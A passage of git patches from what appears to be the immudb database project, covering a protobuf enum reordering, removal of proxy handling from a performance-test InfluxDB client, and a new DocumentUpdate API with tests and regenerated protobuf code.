0x61, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2e, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x18, 0x1a, 0x13, 0x2f, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x72, 0x65, 0x61, + 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x94, 0x01, 0x0a, 0x0d, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x12, 0x2b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, - 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, - 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, - 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, - 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, - 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, - 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, - 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, - 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, - 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, - 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, - 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, - 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, - 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, - 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, - 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, - 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, - 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, - 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, - 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, + 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x47, 0x65, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x28, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x12, 0x12, 0x10, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x67, 0x65, 0x74, 0x92, 0x41, 0x0d, 0x0a, + 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x9b, 0x01, 0x0a, + 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x12, + 0x2c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x2d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2c, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x16, 0x22, 0x11, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x3a, 0x01, 0x2a, 0x92, 0x41, 0x0d, 0x0a, 0x0b, 0x63, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0xa0, 0x01, 0x0a, 0x10, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, + 0x2e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x2f, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, + 0x22, 0x2b, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x15, 0x2a, 0x13, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x64, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x92, 0x41, 0x0d, + 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x42, 0xbe, 0x01, + 0x5a, 0x33, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, + 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, + 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x92, 0x41, 0x85, 0x01, 0x12, 0x29, 0x0a, 0x12, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x12, + 0x13, 0x4f, 0x62, 0x6a, 0x65, 0x63, 0x74, 0x73, 0x20, 0x73, 0x74, 0x6f, 0x72, 0x61, 0x67, 0x65, + 0x20, 0x41, 0x50, 0x49, 0x22, 0x07, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x5a, 0x41, 0x0a, + 0x3f, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x35, 0x08, 0x02, 0x12, 0x16, 0x53, + 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x3a, 0x20, 0x3c, 0x74, + 0x6f, 0x6b, 0x65, 0x6e, 0x3e, 0x1a, 0x17, 0x67, 0x72, 0x70, 0x63, 0x2d, 0x6d, 0x65, 0x74, 0x61, + 0x64, 0x61, 0x74, 0x61, 0x2d, 0x73, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x69, 0x64, 0x20, 0x02, + 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, 0x62, 0x06, + 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( diff --git a/pkg/api/documentschema/documentschema.proto b/pkg/api/documentschema/documentschema.proto index e3e96e4d6d..6f18540d46 100644 --- a/pkg/api/documentschema/documentschema.proto +++ b/pkg/api/documentschema/documentschema.proto @@ -73,11 +73,12 @@ message DocumentUpdateResponse { enum QueryOperator { EQ = 0; - GT = 1; - GTE = 2; - LT = 3; - LTE = 4; - LIKE = 5; + NE = 1; + LT = 2; + LE = 3; + GT = 4; + GE = 5; + LIKE = 6; } message IndexValue { diff --git a/pkg/api/documentschema/documentschema.swagger.json b/pkg/api/documentschema/documentschema.swagger.json index 7c66f382e4..7ec2f0717d 100644 --- a/pkg/api/documentschema/documentschema.swagger.json +++ b/pkg/api/documentschema/documentschema.swagger.json @@ -570,10 +570,11 @@ "type": "string", "enum": [ "EQ", - "GT", - "GTE", + "NE", "LT", - "LTE", + "LE", + "GT", + "GE", "LIKE" ], "default": "EQ" From 3308a15f07cb33acaa36fd8d9dd28d4086d0168b Mon Sep 17 00:00:00 2001 From: Marco Sanchotene Date: Mon, 3 Apr 2023 10:09:30 -0300 Subject: [PATCH 0393/1062] chore(test/perf-tests): remove runner check Signed-off-by: Marco Sanchotene --- .../pkg/runner/influxdb_client.go | 11 +---------- 1 file changed, 1 insertion(+), 10 deletions(-) diff --git a/test/performance-test-suite/pkg/runner/influxdb_client.go b/test/performance-test-suite/pkg/runner/influxdb_client.go index c7eeeb6ba1..384d33d1e4 100644 --- a/test/performance-test-suite/pkg/runner/influxdb_client.go +++ b/test/performance-test-suite/pkg/runner/influxdb_client.go @@ -2,9 +2,6 @@ package runner import ( "context" - "net/http" - "net/url" - "os" influxdb2 "github.com/influxdata/influxdb-client-go/v2" ) @@ -12,13 +9,7 @@ import ( func SendResultsToInfluxDb(host string, token string, bucket string, runner string, version string, r *BenchmarkSuiteResult) { var client influxdb2.Client - if runner == "benchmark" { - proxyUrl, _ := url.Parse(os.Getenv("HTTPS_PROXY")) - httpClient := &http.Client{Transport: &http.Transport{Proxy: http.ProxyURL(proxyUrl)}} - client = influxdb2.NewClientWithOptions(host, token, influxdb2.DefaultOptions().SetHTTPClient(httpClient)) - } else { - client = influxdb2.NewClient(host, token) - } + client = influxdb2.NewClient(host, token) writer := client.WriteAPIBlocking("Codenotary", bucket) From 810181278beee2a007d1885e8115defbb346b9ac Mon Sep 17 00:00:00 2001 From: Farhan Khan Date: Mon, 3 Apr 2023 14:14:43 +0530 Subject: [PATCH 0394/1062] chore(pkg/database): add DocumentUpdate api --- embedded/document/engine.go | 126 +++++- embedded/document/engine_test.go | 116 ++++- embedded/sql/stmt.go | 16 + pkg/api/documentschema/docs.md | 1 + pkg/api/documentschema/documentschema.pb.go | 420 +++++++++--------- pkg/api/documentschema/documentschema.proto | 1 + .../documentschema.swagger.json | 6 +- pkg/database/document_database.go | 19 + pkg/server/db_dummy_closed.go | 4 + pkg/server/documents_operations.go | 9 +- 10 files changed, 480 insertions(+), 238 deletions(-) diff --git a/embedded/document/engine.go b/embedded/document/engine.go index 2528b57eab..cade8af94b 100644 --- a/embedded/document/engine.go +++ b/embedded/document/engine.go @@ -4,6 +4,7 @@ import ( "bytes" "context" "encoding/binary" + "errors" "fmt" "github.com/codenotary/immudb/embedded/sql" @@ -390,24 +391,12 @@ func (d *Engine) GetDocument(ctx context.Context, collectionName string, queries } type Audit struct { - Value []byte - TxID uint64 + Value []byte + TxID uint64 + Revision uint64 } -// DocumentAudit returns the audit history of a document. -func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, pageNum int, itemsPerPage int) ([]*Audit, error) { - offset := (pageNum - 1) * itemsPerPage - limit := itemsPerPage - if offset < 0 || limit < 1 { - return nil, fmt.Errorf("invalid offset or limit") - } - - tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) - if err != nil { - return nil, err - } - defer tx.Cancel() - +func (d *Engine) getKeyForDocument(ctx context.Context, tx *sql.SQLTx, collectionName string, documentID DocumentID) ([]byte, error) { table, err := tx.Catalog().GetTableByName(collectionName) if err != nil { return nil, err @@ -440,14 +429,41 @@ func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, docum pkEncVals, ) + return searchKey, nil +} + +// DocumentAudit returns the audit history of a document. +func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, documentID DocumentID, pageNum int, itemsPerPage int) ([]*Audit, error) { + offset := (pageNum - 1) * itemsPerPage + limit := itemsPerPage + if offset < 0 || limit < 1 { + return nil, fmt.Errorf("invalid offset or limit") + } + + tx, err := d.NewTx(ctx, sql.DefaultTxOptions().WithReadOnly(true)) + if err != nil { + return nil, err + } + defer tx.Cancel() + + searchKey, err := d.getKeyForDocument(ctx, tx, collectionName, documentID) + if err != nil { + return nil, err + } + txs, _, err := d.GetStore().History(searchKey, uint64(offset), false, limit) if err != nil { return nil, err } + table, err := tx.Catalog().GetTableByName(collectionName) + if err != nil { + return nil, err + } + results := make([]*Audit, 0) - for _, txID := range txs { - res, err := d.getValueAt(searchKey, txID, d.GetStore(), false) + for i, txID := range txs { + res, err := d.getValueAt(searchKey, txID, false, uint64(i)+1) if err != nil { return nil, err } @@ -481,10 +497,16 @@ func (d *Engine) DocumentAudit(ctx context.Context, collectionName string, docum return results, nil } -func (d *Engine) getValueAt(key []byte, atTx uint64, index store.KeyIndex, skipIntegrityCheck bool) (entry *Audit, err error) { +func (d *Engine) getValueAt( + key []byte, + atTx uint64, + skipIntegrityCheck bool, + revision uint64, +) (entry *Audit, err error) { var txID uint64 var val []byte + index := d.GetStore() if atTx == 0 { valRef, err := index.Get(key) if err != nil { @@ -497,6 +519,9 @@ func (d *Engine) getValueAt(key []byte, atTx uint64, index store.KeyIndex, skipI if err != nil { return nil, err } + + // Revision can be calculated from the history count + revision = valRef.HC() } else { txID = atTx _, val, err = d.readMetadataAndValue(key, atTx, skipIntegrityCheck) @@ -506,8 +531,9 @@ func (d *Engine) getValueAt(key []byte, atTx uint64, index store.KeyIndex, skipI } return &Audit{ - TxID: txID, - Value: val, + TxID: txID, + Value: val, + Revision: revision, }, err } @@ -525,3 +551,61 @@ func (d *Engine) readMetadataAndValue(key []byte, atTx uint64, skipIntegrityChec return entry.Metadata(), v, nil } + +func (d *Engine) UpdateDocument(ctx context.Context, collectionName string, docID DocumentID, doc *structpb.Struct) (uint64, error) { + document, err := NewDocumentFrom(doc) + if err != nil { + return 0, err + } + res, err := document.MarshalJSON() + if err != nil { + return 0, err + } + + tx, err := d.NewTx(ctx, sql.DefaultTxOptions()) + if err != nil { + return 0, err + } + defer tx.Cancel() + + // update document in collection + _, b, err := d.ExecPreparedStmts( + ctx, + tx, + []sql.SQLStmt{ + sql.NewUpdateStmt( + collectionName, + sql.NewCmpBoolExp( + sql.EQ, + sql.NewColSelector(collectionName, defaultDocumentIDField, ""), + sql.NewBlob(docID[:]), + ), + sql.NewColUpdate(defaultDocumentBLOBField, sql.EQ, sql.NewBlob(res))), + }, + nil, + ) + if err != nil { + return 0, err + } + if len(b) == 0 { + return 0, errors.New("transaction failed during document update") + } + + committedTx := b[0] + err = d.GetStore().WaitForIndexingUpto(ctx, committedTx.TxHeader().ID) + if err != nil { + return 0, err + } + + searchKey, err := d.getKeyForDocument(ctx, tx, collectionName, docID) + if err != nil { + return 0, err + } + + auditLog, err := d.getValueAt(searchKey, 0, false, 0) + if err != nil { + return 0, err + } + + return auditLog.Revision, nil +} diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index 3e13f7f73c..2a06972451 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -2,6 +2,7 @@ package document import ( "context" + "encoding/json" "fmt" "testing" @@ -13,7 +14,6 @@ import ( ) func makeEngine(t *testing.T) *Engine { - st, err := store.Open(t.TempDir(), store.DefaultOptions()) require.NoError(t, err) t.Cleanup(func() { @@ -201,7 +201,6 @@ func TestDocumentAudit(t *testing.T) { "country": sql.VarcharType, }) require.NoError(t, err) - require.NoError(t, err) // add document to collection docID, err := engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ @@ -212,19 +211,49 @@ func TestDocumentAudit(t *testing.T) { "country": { Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, }, + "data": { + Kind: &structpb.Value_StructValue{StructValue: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "key1": {Kind: &structpb.Value_StringValue{StringValue: "value1"}}, + }, + }}, + }, + }, + }) + require.NoError(t, err) + + revision, err := engine.UpdateDocument(context.Background(), collectionName, docID, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "pincode": { + Kind: &structpb.Value_NumberValue{NumberValue: 2}, + }, + "country": { + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + }, + "data": { + Kind: &structpb.Value_StructValue{StructValue: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "key1": {Kind: &structpb.Value_StringValue{StringValue: "value2"}}, + }, + }}, + }, }, }) require.NoError(t, err) + require.Equal(t, uint64(2), revision) // get document audit res, err := engine.DocumentAudit(context.Background(), collectionName, docID, 1, 10) require.NoError(t, err) - require.Equal(t, 1, len(res)) - - // verify audit result - val := string(res[0].Value) - require.Contains(t, val, "pincode") - require.Contains(t, val, "country") + require.Equal(t, 2, len(res)) + + for i, record := range res { + // verify audit result + val := string(record.Value) + require.Contains(t, val, "pincode") + require.Contains(t, val, "country") + require.Equal(t, uint64(i+1), record.Revision) + } } func TestQueryDocument(t *testing.T) { @@ -408,3 +437,74 @@ func TestQueryDocument(t *testing.T) { }) } + +func TestDocumentUpdate(t *testing.T) { + engine := makeEngine(t) + + // create collection + collectionName := "mycollection" + err := engine.CreateCollection(context.Background(), collectionName, map[string]sql.SQLValueType{ + "country": sql.VarcharType, + }) + require.NoError(t, err) + require.NoError(t, err) + + // add document to collection + docID, err := engine.CreateDocument(context.Background(), collectionName, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "country": { + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + }, + "data": { + Kind: &structpb.Value_StructValue{StructValue: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "key1": {Kind: &structpb.Value_StringValue{StringValue: "value1"}}, + }, + }}, + }, + }, + }) + require.NoError(t, err) + + revision, err := engine.UpdateDocument(context.Background(), collectionName, docID, &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "country": { + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + }, + "data": { + Kind: &structpb.Value_StructValue{StructValue: &structpb.Struct{ + Fields: map[string]*structpb.Value{ + "key1": {Kind: &structpb.Value_StringValue{StringValue: "value2"}}, + }, + }}, + }, + }, + }) + require.NoError(t, err) + require.Equal(t, uint64(2), revision) + + expressions := []*Query{ + { + Field: "country", + Operator: sql.EQ, + Value: &structpb.Value{ + Kind: &structpb.Value_StringValue{StringValue: "wonderland"}, + }, + }, + } + + // check if document is updated + docs, err := engine.GetDocument(context.Background(), collectionName, expressions, 1, 10) + require.NoError(t, err) + require.Equal(t, 1, len(docs)) + + // retrieve document + doc := docs[0] + require.Equal(t, "wonderland", doc.Fields["country"].GetStringValue()) + + // check if data is updated + data := map[string]interface{}{} + err = json.Unmarshal([]byte(doc.Fields["_obj"].GetStringValue()), &data) + require.NoError(t, err) + require.Equal(t, "value2", data["data"].(map[string]interface{})["key1"]) +} diff --git a/embedded/sql/stmt.go b/embedded/sql/stmt.go index 41cd5e2ee3..2d4b20f201 100644 --- a/embedded/sql/stmt.go +++ b/embedded/sql/stmt.go @@ -973,6 +973,14 @@ func (tx *SQLTx) deprecateIndexEntries( return reusableIndexEntries, nil } +func NewUpdateStmt(table string, where ValueExp, update *colUpdate) *UpdateStmt { + return &UpdateStmt{ + tableRef: newTableRef(table, ""), + where: where, + updates: []*colUpdate{update}, + } +} + type UpdateStmt struct { tableRef *tableRef where ValueExp @@ -982,6 +990,14 @@ type UpdateStmt struct { offset ValueExp } +func NewColUpdate(col string, op CmpOperator, val ValueExp) *colUpdate { + return &colUpdate{ + col: col, + op: op, + val: val, + } +} + type colUpdate struct { col string op CmpOperator diff --git a/pkg/api/documentschema/docs.md b/pkg/api/documentschema/docs.md index 522d0b9e16..b8dff40b9d 100644 --- a/pkg/api/documentschema/docs.md +++ b/pkg/api/documentschema/docs.md @@ -216,6 +216,7 @@ | ----- | ---- | ----- | ----------- | | value | [google.protobuf.Struct](#google.protobuf.Struct) | | | | transactionID | [uint64](#uint64) | | | +| revision | [uint64](#uint64) | | | diff --git a/pkg/api/documentschema/documentschema.pb.go b/pkg/api/documentschema/documentschema.pb.go index 158e215d4f..03bacef6f3 100644 --- a/pkg/api/documentschema/documentschema.pb.go +++ b/pkg/api/documentschema/documentschema.pb.go @@ -16,19 +16,19 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: // protoc-gen-go v1.28.0 -// protoc v3.12.4 +// protoc v3.21.9 // source: documentschema.proto package documentschema import ( schema "github.com/codenotary/immudb/pkg/api/schema" - _ "github.com/golang/protobuf/ptypes/empty" - _struct "github.com/golang/protobuf/ptypes/struct" _ "github.com/grpc-ecosystem/grpc-gateway/protoc-gen-swagger/options" _ "google.golang.org/genproto/googleapis/api/annotations" protoreflect "google.golang.org/protobuf/reflect/protoreflect" protoimpl "google.golang.org/protobuf/runtime/protoimpl" + _ "google.golang.org/protobuf/types/known/emptypb" + structpb "google.golang.org/protobuf/types/known/structpb" reflect "reflect" sync "sync" ) @@ -155,8 +155,8 @@ type DocumentInsertRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - Document *_struct.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + Document *structpb.Struct `protobuf:"bytes,2,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentInsertRequest) Reset() { @@ -198,7 +198,7 @@ func (x *DocumentInsertRequest) GetCollection() string { return "" } -func (x *DocumentInsertRequest) GetDocument() *_struct.Struct { +func (x *DocumentInsertRequest) GetDocument() *structpb.Struct { if x != nil { return x.Document } @@ -265,9 +265,9 @@ type DocumentUpdateRequest struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` - DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` - Document *_struct.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` + Collection string `protobuf:"bytes,1,opt,name=collection,proto3" json:"collection,omitempty"` + DocumentId string `protobuf:"bytes,2,opt,name=documentId,proto3" json:"documentId,omitempty"` + Document *structpb.Struct `protobuf:"bytes,3,opt,name=document,proto3" json:"document,omitempty"` } func (x *DocumentUpdateRequest) Reset() { @@ -316,7 +316,7 @@ func (x *DocumentUpdateRequest) GetDocumentId() string { return "" } -func (x *DocumentUpdateRequest) GetDocument() *_struct.Struct { +func (x *DocumentUpdateRequest) GetDocument() *structpb.Struct { if x != nil { return x.Document } @@ -431,11 +431,11 @@ func (m *IndexValue) GetKind() isIndexValue_Kind { return nil } -func (x *IndexValue) GetNullValue() _struct.NullValue { +func (x *IndexValue) GetNullValue() structpb.NullValue { if x, ok := x.GetKind().(*IndexValue_NullValue); ok { return x.NullValue } - return _struct.NullValue(0) + return structpb.NullValue(0) } func (x *IndexValue) GetNumberValue() float64 { @@ -464,7 +464,7 @@ type isIndexValue_Kind interface { } type IndexValue_NullValue struct { - NullValue _struct.NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,proto3,enum=google.protobuf.NullValue,oneof"` + NullValue structpb.NullValue `protobuf:"varint,1,opt,name=null_value,json=nullValue,proto3,enum=google.protobuf.NullValue,oneof"` } type IndexValue_NumberValue struct { @@ -492,9 +492,9 @@ type DocumentQuery struct { sizeCache protoimpl.SizeCache unknownFields protoimpl.UnknownFields - Field string `protobuf:"bytes,1,opt,name=field,proto3" json:"field,omitempty"` - Operator QueryOperator `protobuf:"varint,2,opt,name=operator,proto3,enum=immudb.documentschema.QueryOperator" json:"operator,omitempty"` - Value *_struct.Value `protobuf:"bytes,3,opt,name=value,proto3" json:"value,omitempty"` + Field string 